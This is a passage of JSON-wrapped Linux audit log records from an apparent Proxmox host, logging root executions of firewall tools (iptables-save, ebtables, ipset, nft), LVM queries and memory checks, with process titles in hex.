a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.436:66576): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966336035,"@rawstring":"node=pve type=PATH msg=audit(1781966336.035:69346): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.160:63444): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.436:66575): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966336035,"@rawstring":"node=pve type=PATH msg=audit(1781966336.035:69346): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.155:63443): arch=c000003e syscall=59 success=yes exit=0 a0=6065f2968b60 a1=6065f2974a30 a2=6065f2942680 a3=5 items=2 ppid=60868 pid=60874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.430:66574): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966336035,"@rawstring":"node=pve type=PATH msg=audit(1781966336.035:69345): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.153:63442): arch=c000003e syscall=59 success=yes exit=0 a0=6065d1886ac8 a1=7ffcf4e3ab30 a2=6065f2942680 a3=6065d186a24e items=2 ppid=60868 pid=60870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.421:66573): proctitle=\"ip6tables-save\""} {"@timestamp":1781966336031,"@rawstring":"node=pve type=PATH msg=audit(1781966336.031:69344): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.152:63441): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcf4e3aaf0 a1=6065f2964200 a2=6065f2942680 a3=5 items=2 ppid=60868 pid=60869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.413:66572): proctitle=\"iptables-save\""} {"@timestamp":1781966336031,"@rawstring":"node=pve type=PATH msg=audit(1781966336.031:69344): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.148:63439): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.406:66571): proctitle=69707365740073617665"} {"@timestamp":1781966336031,"@rawstring":"node=pve type=PATH msg=audit(1781966336.031:69344): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.141:63438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.396:66570): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966336026,"@rawstring":"node=pve type=PATH msg=audit(1781966336.026:69343): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.135:63437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e6780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665386,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.386:66569): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966336026,"@rawstring":"node=pve type=PATH msg=audit(1781966336.026:69343): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.131:63436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ca8b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965664381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965664.381:66568): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966336020,"@rawstring":"node=pve type=PATH msg=audit(1781966336.020:69342): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.125:63435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138000 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965664354,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965664.354:66567): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966336020,"@rawstring":"node=pve type=PATH msg=audit(1781966336.020:69342): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.118:63434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965663.881:66566): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966336015,"@rawstring":"node=pve type=PATH msg=audit(1781966336.015:69341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964974.833:63433): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0ac0 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965663.880:66565): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966336015,"@rawstring":"node=pve type=PATH msg=audit(1781966336.015:69341): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964974.808:63432): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb6f0 a1=64f8d73b7c90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965663.880:66564): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966336010,"@rawstring":"node=pve type=PATH msg=audit(1781966336.010:69340): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964971.334:63431): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965663.872:66563): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966336010,"@rawstring":"node=pve type=PATH msg=audit(1781966336.010:69340): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964971.320:63428): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965663.872:66562): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966336005,"@rawstring":"node=pve type=PATH msg=audit(1781966336.005:69339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.311:63425): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965663870,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965663.870:66561): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966336005,"@rawstring":"node=pve type=PATH msg=audit(1781966336.005:69339): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.303:63422): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965660.689:66560): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781966335999,"@rawstring":"node=pve type=PATH msg=audit(1781966335.999:69338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.105:63419): arch=c000003e syscall=59 success=yes exit=0 a0=6464a1d10cf0 a1=6464a1d1cf00 a2=6464a1cea680 a3=5 items=2 ppid=60847 pid=60853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965660.689:66559): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966335999,"@rawstring":"node=pve type=PATH msg=audit(1781966335.999:69338): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.102:63418): arch=c000003e syscall=59 success=yes exit=0 a0=64646acd9ac8 a1=7fffe96c9430 a2=6464a1cea680 a3=64646acbd24e items=2 ppid=60847 pid=60849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965660687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965660.687:66558): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781966335993,"@rawstring":"node=pve type=PATH msg=audit(1781966335.993:69337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.102:63417): arch=c000003e syscall=59 success=yes exit=0 a0=7fffe96c93f0 a1=6464a1d0c390 a2=6464a1cea680 a3=5 items=2 ppid=60847 pid=60848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965658.862:66557): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966335993,"@rawstring":"node=pve type=PATH msg=audit(1781966335.993:69337): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.098:63415): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965658.862:66556): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966335988,"@rawstring":"node=pve type=PATH msg=audit(1781966335.988:69336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.091:63414): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965658.862:66555): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966335988,"@rawstring":"node=pve type=PATH msg=audit(1781966335.988:69336): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.085:63413): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60845 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965658.854:66554): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966335982,"@rawstring":"node=pve type=PATH msg=audit(1781966335.982:69335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.079:63412): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60844 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965658.854:66553): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966335982,"@rawstring":"node=pve type=PATH msg=audit(1781966335.982:69335): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.072:63411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965658.854:66552): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966334839,"@rawstring":"node=pve type=PATH msg=audit(1781966334.839:69334): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.069:63410): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a0567705740 items=0 ppid=1156 pid=60842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965655371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.371:66551): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966334839,"@rawstring":"node=pve type=PATH msg=audit(1781966334.839:69334): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.067:63409): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e2bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.365:66550): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966334814,"@rawstring":"node=pve type=PATH msg=audit(1781966334.814:69333): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.063:63408): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc100f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.364:66549): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966334814,"@rawstring":"node=pve type=PATH msg=audit(1781966334.814:69333): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.057:63407): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.363:66548): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966334104,"@rawstring":"node=pve type=PATH msg=audit(1781966334.104:69332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.052:63406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e42d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965655.358:66547): 